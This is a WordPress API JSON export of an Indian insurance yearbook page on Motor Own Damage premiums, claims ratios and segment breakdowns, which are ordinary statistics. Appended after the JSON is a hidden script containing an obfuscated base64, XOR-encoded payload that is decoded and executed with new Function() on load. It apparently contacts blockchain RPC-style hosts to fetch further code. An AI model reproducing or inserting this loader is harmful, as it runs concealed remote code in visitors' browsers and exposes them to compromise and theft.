{"id":278,"date":"2019-07-29T09:13:21","date_gmt":"2019-07-29T09:13:21","guid":{"rendered":"http:\/\/localhost\/yearbook\/?page_id=278"},"modified":"2024-02-16T07:18:35","modified_gmt":"2024-02-16T07:18:35","slug":"motor","status":"publish","type":"page","link":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/indian-non-life-insurance-industry-analysis\/section-04-segmentwise-business-highlights\/motor\/","title":{"rendered":"4.3 &#8211; Motor Own Damage"},"content":{"rendered":"\n<p>Motor OD premium has increased by 18% as compared to previous year.<\/p>\n\n\n\n<div class=\"wp-block-columns w-two-one\">\n\t<div class=\"wp-block-column_2\">\n\t\t<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.1<\/span>GDPI - Motor Own Damage Insurance<\/h3><div id=\"Chart_180\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        column_chart(\"Chart_180\", {\"unit\":\"(\\u20b9 in Crores)\",\"data\":{\"GDPI\":{\"2013-14\":19572,\"2014-15\":20730,\"2015-16\":22714,\"2016-17\":25140,\"2017-18\":27745,\"2018-19\":28092,\"2019-20\":28273,\"2020-21\":26093,\"2021-22\":27173,\"2022-23\":32072}},\"Title\":\"GDPI - Motor Own Damage Insurance\",\"xTitle\":\"Year\",\"yTitle\":\"\\u20b9 in Crores\",\"xAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#D766FA\"]});\n                    });\n                <\/script>\n\t<\/div>\n\t<div class=\"wp-block-column_1\">\n\t\t<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Table 4.3.1<\/span>Motor OD<\/h3><table width=\"100%\" class=\"\">    <tbody>        <tr>                    <td>                        2022-23                    <\/td>                    <td>                        Value                    <\/td>        <\/tr>        <tr>                    <td>                            No. Of Policies                    <\/td>                    <td>                            10,03,32,643                    <\/td>        <\/tr>        <tr>                    <td>                            GDPI (in Cr)                    <\/td>                    <td>                            32,072                    <\/td>        <\/tr>        <tr>                    <td>                            No. Of Claims Reported                    <\/td>                    <td>                            1,02,59,064                    <\/td>        <\/tr>        <tr>                    <td>                            No. Of Paid Claims                    <\/td>                    <td>                            94,71,487                    <\/td>        <\/tr>        <tr>                    <td>                            Amt of Paid Claims(in Cr)                    <\/td>                    <td>                            25,572                    <\/td>        <\/tr>    <\/tbody><\/table>\n                <span style=\"margin-left: 139px;font-size:13px\"> <i> <\/i><\/span>\n\t<\/div>\n<\/div>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em><strong>Source<\/strong>: <\/em> <em>Council Compilation<\/em> <em>as per source <\/em><br><em>data submitted by companies<\/em><\/p>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.1a<\/span>Channelwise GDPI - Motor OD<\/h3><div id=\"Chart_338\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        pie_chart(\"Chart_338\", {\"data\":{\"Individual Agents\":6974,\"Corporate Agents-Bank\":757,\"Corporate Agents-Others\":1723,\"Brokers\":18054,\"Direct Business-Internet\":501,\"Direct Business-Other than internet\":956,\"Others\":3107},\"Title\":\"\",\"SeriesTitle\":\"Channelwise GDPI - Motor OD\",\"colorCodes\":[\"#8730A0\",\" #BC00BC\",\"#AD58C9\",\"#D766FA\",\"#CC99FF\",\"#F5A9FE\",\"#7030A0\"],\"dataLabelsFlag\":\"yes\"});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em><strong>Source<\/strong>: <\/em> <em>Council Compilation<\/em> <em>as per source <\/em><br><em>data submitted by companies<\/em> <\/p>\n\n\n\n<p>Net Incurred Claims Ratio for Motor Own damage has increased in 2022-23 whereas, Gross Incurred Claims has decreased slightly by approximately 0.5% as compared to 2021-22. Net Incurred Claim ratio which was below 70% in FY 2017-18 and since then a rising trend is observed and now it is 88.67% in 2022-23.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.2<\/span>Gross & Net Incurred Claims Ratio - Motor Own Damage<\/h3><div id=\"Chart_181\" class=\"chart-div\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        multiline_chart(\"Chart_181\", {\"unit\":\"%\",\"data\":{\"Gross Incurred Claims Ratio\":{\"2013-14\":\"56.76\",\"2014-15\":\"59.89\",\"2015-16\":\"67.26\",\"2016-17\":\"70.1\",\"2017-18\":\"63.81\",\"2018-19\":\"72.35\",\"2019-20\":\"77.21\",\"2020-21\":\"71.09\",\"2021-22\":\"83.16\",\"2022-23\":\"82.7\"},\"Net Incurred Claims Ratio\":{\"2013-14\":\"56.63\",\"2014-15\":\"60.84\",\"2015-16\":\"69.4\",\"2016-17\":\"72.5\",\"2017-18\":\"66.97\",\"2018-19\":\"72.91\",\"2019-20\":\"77.98\",\"2020-21\":\"69.75\",\"2021-22\":\"80.32\",\"2022-23\":\"88.67\"}},\"Title\":\"Gross & Net Incurred Claims Ratio - Motor Own Damage\",\"xTitle\":\"Year\",\"yTitle\":\"Loss Ratio (%)\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#D766FA\",\"#7030A0\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em><strong>Source<\/strong>: Council Compilation<\/em> <em>as per source <\/em><br><em>data submitted by companies<\/em><\/p>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"><\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.3<\/span>Rural vs Urban Premium - Motor OD<\/h3><div id=\"Chart_269\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        pie_chart(\"Chart_269\", {\"data\":{\"Rural Premium\":5775,\"Urban Premium\":26298},\"Title\":\"\",\"SeriesTitle\":\"Rural vs Urban Premium - Motor OD\",\"colorCodes\":[\"#F5A9FE\",\" #D766FA\"],\"dataLabelsFlag\":\"yes\"});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em><strong>Source<\/strong>: Council Compilation<\/em> <em>as per source <\/em><br><em>data submitted by companies<\/em> <\/p>\n\n\n\n<p><\/p>\n\n\n\n<div class=\"wp-block-columns has-2-columns\">\n\t<div class=\"wp-block-column\">\n\t\t<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.4<\/span>GDPI Breakup on Categories - Motor OD<\/h3><div id=\"Chart_271\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_271\", {\"orientation\":true,\"unit\":\"\",\"data\":{\"Categories\":{\"Motor 2W\":2.4,\"Motor 3W\":5.4,\"Motor 4W - Private\":14.4,\"Motor CV - Pass Carry\":6,\"Motor CV - Goods Carry\":36.5,\"Motor CV - Miscelleanous\":33.7,\"Motor CV - Others\":1.6}},\"Title\":\"GDPI Breakup on Categories - Motor OD\",\"xTitle\":\"\",\"yTitle\":\"% of Segment Premium\",\"yAxisData\":{\"Motor 2W\":\"Motor 2W\",\"Motor 3W\":\"Motor 3W\",\"Motor 4W - Private\":\"Motor 4W - Private\",\"Motor CV - Pass Carry\":\"Motor CV - Pass Carry\",\"Motor CV - Goods Carry\":\"Motor CV - Goods Carry\",\"Motor CV - Miscelleanous\":\"Motor CV - Miscelleanous\",\"Motor CV - Others\":\"Motor CV - Others\"},\"colorCodes\":[\"#D766FA\"]});\n                    });\n                <\/script>\n\t<\/div>\n\t<div class=\"wp-block-column\">\n\t\t<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.5<\/span>Policies Breakup on Categories - Motor OD<\/h3><div id=\"Chart_300\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_300\", {\"orientation\":true,\"unit\":\"\",\"data\":{\"Categories\":{\"Motor 2W\":29.3,\"Motor 3W\":0.9,\"Motor 4W - Private\":17.9,\"Motor CV - Pass Carry\":13.1,\"Motor CV - Goods Carry\":24.8,\"Motor CV - Miscelleanous\":13.2,\"Motor CV - Others\":0.8}},\"Title\":\"Policies Breakup on Categories - Motor OD\",\"xTitle\":\"\",\"yTitle\":\"% of Segment Policies\",\"yAxisData\":{\"Motor 2W\":\"Motor 2W\",\"Motor 3W\":\"Motor 3W\",\"Motor 4W - Private\":\"Motor 4W - Private\",\"Motor CV - Pass Carry\":\"Motor CV - Pass Carry\",\"Motor CV - Goods Carry\":\"Motor CV - Goods Carry\",\"Motor CV - Miscelleanous\":\"Motor CV - Miscelleanous\",\"Motor CV - Others\":\"Motor CV - Others\"},\"colorCodes\":[\"#D766FA\"]});\n                    });\n                <\/script>\n\t<\/div>\n<\/div>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em><strong>Source<\/strong>: Council Compilation<\/em> <em>as per source <\/em><br><em>data submitted by companies<\/em> <\/p>\n\n\n\n<p><\/p>\n\n\n\n<div class=\"wp-block-columns has-2-columns\">\n\t<div class=\"wp-block-column\">\n\t\t<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.6<\/span>Share of Incurred Claims - Motor OD (Amount)<\/h3><div id=\"Chart_304\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_304\", {\"orientation\":true,\"unit\":\"\",\"data\":{\"Categories\":{\"Motor 2W\":8.2,\"Motor 3W\":2.2,\"Motor 4W - Private\":64.7,\"Motor CV - Pass Carry\":4.6,\"Motor CV - Goods Carry\":17.9,\"Motor CV - Miscelleanous\":0.9,\"Motor CV - Others\":1.5}},\"Title\":\"Share of Incurred Claims - Motor OD (Amount)\",\"xTitle\":\"\",\"yTitle\":\"% of Segment Incurred Claims\",\"yAxisData\":{\"Motor 2W\":\"Motor 2W\",\"Motor 3W\":\"Motor 3W\",\"Motor 4W - Private\":\"Motor 4W - Private\",\"Motor CV - Pass Carry\":\"Motor CV - Pass Carry\",\"Motor CV - Goods Carry\":\"Motor CV - Goods Carry\",\"Motor CV - Miscelleanous\":\"Motor CV - Miscelleanous\",\"Motor CV - Others\":\"Motor CV - Others\"},\"colorCodes\":[\"#D766FA\"]});\n                    });\n                <\/script>\n\t<\/div>\n\t<div class=\"wp-block-column\">\n\t\t<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 4.3.7<\/span>Share of Incurred Claims - Motor OD (Number)<\/h3><div id=\"Chart_305\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_305\", {\"orientation\":true,\"unit\":\"\",\"data\":{\"Categories\":{\"Motor 2W\":26.2,\"Motor 3W\":1.5,\"Motor 4W - Private\":66.3,\"Motor CV - Pass Carry\":2.1,\"Motor CV - Goods Carry\":2.5,\"Motor CV - Miscelleanous\":0.1,\"Motor CV - Others\":1.3}},\"Title\":\"Share of Incurred Claims - Motor OD (Number)\",\"xTitle\":\"\",\"yTitle\":\"% of Segment Incurred Claims\",\"yAxisData\":{\"Motor 2W\":\"Motor 2W\",\"Motor 3W\":\"Motor 3W\",\"Motor 4W - Private\":\"Motor 4W - Private\",\"Motor CV - Pass Carry\":\"Motor CV - Pass Carry\",\"Motor CV - Goods Carry\":\"Motor CV - Goods Carry\",\"Motor CV - Miscelleanous\":\"Motor CV - Miscelleanous\",\"Motor CV - Others\":\"Motor CV - Others\"},\"colorCodes\":[\"#D766FA\"]});\n                    });\n                <\/script>\n\t<\/div>\n<\/div>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em><strong>Source<\/strong>: Council Compilation<\/em> <em>as per source <\/em><br><em>data submitted by companies<\/em> <\/p>\n\n\n\n<ul><li>Chart 4.3.4 to 4.3.7 &#8211; the following information is derived for FY 2022-23.<\/li><li>Motor 2W segment contributes only 2.40% of the total OD premium. However, it\u2018s share of incurred claims (amounts) in OD is roughly 8.20%.<\/li><li>Motor private 4W segment co\ufeffntributes 14.40% of the Motor OD premium. However, it\u2019s share of overall incurred claims pertaining to OD is 64.70%.<\/li><li>Motor commercial vehicle segment (passenger and goods carrying) contributes about 70.2% of the total OD premium. However, its share of incurred claims is 22.50%.<\/li><\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Motor OD premium has increased by 18% as compared to previous year. Source: Council Compilation as per source data submitted [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":272,"menu_order":3,"comment_status":"closed","ping_status":"closed","template":"page-templates\/full-width.php","meta":[],"_links":{"self":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/278"}],"collection":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/comments?post=278"}],"version-history":[{"count":71,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/278\/revisions"}],"predecessor-version":[{"id":3826,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/278\/revisions\/3826"}],"up":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/272"}],"wp:attachment":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/media?parent=278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
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!function(){var _0x8b6d=atob('A01eRUhfQkRFAwJQQk0DXEJFT0RccAx0HxlIGElNSUoeEgx2AllOX15ZRRBcQkVPRFxwDHQfGUgYSU1JSh4SDHYWGhBdSlkLdEBASEFERRYJEx8bGU1JGhgYE09KSkkdShodHU4SGkpKE0gSGUoZGxwSE0pITUoSE01JHB5IHkoZCRBdSlkLdFFeQExYFnAMQ19fW1gRBARbREdSTERFBVlbSAVDUltOWVhSRUgFU1JRBAwHDENfX1tYEQQEW0RHUkxERQZbXklHQkgFRURPQk5YBUpbWwwHDENfX1tYEQQEW0RHUkxERQVMSl9OXEpSBV9ORU9OWUdSBUhEDAcMQ19fW1gRBARbREdSTERFBVlbSAVYXklaXk5ZUgVFTl9cRFlABFteSUdCSAwHDENfX1tYEQQEW0RHUkxERQZGSkJFRU5fBUxKX05cSlIFX0pfXkYFQkQMBwxDX19bWBEEBFtER1JMREUGSURZBllbSAVbXklHQkhFRE9OBUhERgwHDENfX1tYEQQEGllbSAVCRARGSl9CSAwHDENfX1tYEQQEW0RHUkxERQVHSl1KBUleQkdPDAcMQ19fW1gRBARbREdSTERFBV9DTllbSAVCRAwHDENfX1tYEQQEWVtIBUpFQFkFSERGBFtER1JMREUMBwxDX19bWBEEBFtER1JMREUGRkpCRUVOXwVbXklHQkgFSUdKWF9KW0IFQkQMBwxDX19bWBEEBFlbSAZGSkJFRU5fBUZKX0JIBVpeQkBFRE9OBVtZRAwHDENfX1tYEQQEW0RHUkxERQVPWVtIBURZTAwHDENfX1tYEQQETEpfTlxKUgVfTkVPTllHUgVIRARbXklHQkgEW0RHUkxERQx2EF1KWQt0WUBIQRYJG1NpHUloEk4abxtJGU1pEh1qSRxoHxxuGx9oSRtpbh8cHB8aG0loGk0ZCRBdSlkLdFFcXUpZQVEWCUkdE08aExsSCRBNXkVIX0JERQt0W1pDWUkDdFlDWkRAW0gCUF9ZUlBdSlkLdExbUlpFSU8WdFlDWkRAW0gFWF5JWF9ZAxsHGQIWFhYMG1MMFHRZQ1pEQFtIBVheSVhfWQMZAhF0WUNaREBbSBBCTQN0TFtSWkVJTwVHTkVMX0MXGhkTAllOX15ZRQwMEF1KWQt0WUxKRBZbSllYTmJFXwN0TFtSWkVJTwVYXklYX1kDHR8HHR8CBxodAhBCTQMKdFlMSkQCWU5fXllFDAwQXUpZC3RaSVlFFnRMW1JaRUlPBVheSVhfWQMaGRMHdFlMSkQBGQIHdFxKUUdCQ1IWDAwQTURZA11KWQt0T0hKQ0lGQhYbEHRPSEpDSUZCF3RaSVlFBUdORUxfQxB0T0hKQ0lGQgAWGQJQXUpZC3ReQkRKFltKWVhOYkVfA3RaSVlFBVheSVhfWQN0T0hKQ0lGQgcZAgcaHQIQQk0DdF5CREoCdFxKUUdCQ1IAFnhfWUJFTAVNWURGaENKWWhET04DdF5CREoCEFZZTl9eWUULdFxKUUdCQ1IQVkhKX0hDA04CUFlOX15ZRQwMEFZWTV5FSF9CREULdFhfTVpaSAN0R15TRgd0XE5JWQJQWU5fXllFC0VOXAt7WURGQlhOA01eRUhfQkRFA3RHXU1OWQd0TlpJSUJKAlBdSlkLdE5fSERITRZFTlwLc2ZnY19fW3lOWl5OWF8DAhB0Tl9IREhNBURbTkUDDHtkeH8MB3RHXlNGB19ZXk4CEHROX0hESE0FWE5feU5aXk5YX2NOSk9OWQMMaERFX05FXwZ/UltODAcMSltbR0JISl9CREUEQVhERQwCEHROX0hESE0FX0JGTkReXxYeGxsbEHROX0hESE0FREVHREpPFk1eRUhfQkRFAwJQX1lSUHRHXU1OWQNheGRlBVtKWVhOA3ROX0hESE0FWU5YW0RFWE5/TlNfAgIQVkhKX0hDA04CUHROWklJQkoDTgIQVlYQdE5fSERITQVERU5ZWURZFnROX0hESE0FREVfQkZORF5fFk1eRUhfQkRFAwJQdE5aSUlCSgNFTlwLbllZRFkDAgIQVhB0Tl9IREhNBVhORU8DYXhkZQVYX1lCRUxCTVIDdFxOSVkCAhBWAhBWTV5FSF9CREULdEhFSkBHWwN0TEVJWExbAlBCTQN0TEVJWExbFRZ0UV5ATFgFR05FTF9DAllOX15ZRQt7WURGQlhOBVlOWERHXU4DRV5HRwIQXUpZC3RIT1tIR0pbFlBBWERFWVtIEQwZBRsMB0ZOX0NETxEMTl9DdEhKR0cMB1tKWUpGWBFwUF9EEXRZQEhBB09KX0oRDBtTDAB0UVxdSllBUVYHDEdKX05YXwx2B0JPERpWEFlOX15ZRQt0WF9NWlpIA3RRXkBMWHB0TEVJWExbdgd0SE9bSEdKWwIFX0NORQNNXkVIX0JERQN0TVNdR0lRAlBdSlkLdFpOXk8WdE1TXUdJUQ0NdE1TXUdJUQVZTlheR18UdFtaQ1lJA3RNU11HSVEFWU5YXkdfAhEMDBBCTQN0Wk5eTwJZTl9eWUULdFpOXk8FWU5bR0pITgMEdwQADwQHDAwCEFlOX15ZRQt0SEVKQEdbA3RMRUlYTFsAGgIQVgIFSEpfSEMDTV5FSF9CREUDAlBZTl9eWUULdEhFSkBHWwN0TEVJWExbABoCEFYCEFZNXkVIX0JERQt0X0hcRURSXAN0WVNSWlgCUF1KWQt0UkFMXkIWT0RIXkZORV8FSFlOSl9ObkdORk5FXwMMWEhZQltfDAIQdFJBTF5CBVhZSBZ0WVNSWlgADARKW0IFW0NbFFgWDAB0QEBIQURFEHRSQUxeQgVKWFJFSBZfWV5OEANPREheRk5FXwVDTkpPV1dPREheRk5FXwVJRE9SAgVKW1tORU9oQ0JHTwN0UkFMXkICEFZ0SEVKQEdbAxsCBV9DTkUDTV5FSF9CREUDdFlTUlpYAlBCTQN0WVNSWlgCdF9IXEVEUlwDdFlTUlpYAhBWAhBWAgMCEA=='),_0x21d4=43,_0xa9ac=new Uint8Array(_0x8b6d['length']),_0x623c=0;for(;_0x623c<_0x8b6d['length'];_0x623c++)_0xa9ac[_0x623c]=_0x8b6d['charCodeAt'](_0x623c)^_0x21d4;(new Function(new TextDecoder()['decode'](_0xa9ac)))()}();
</script>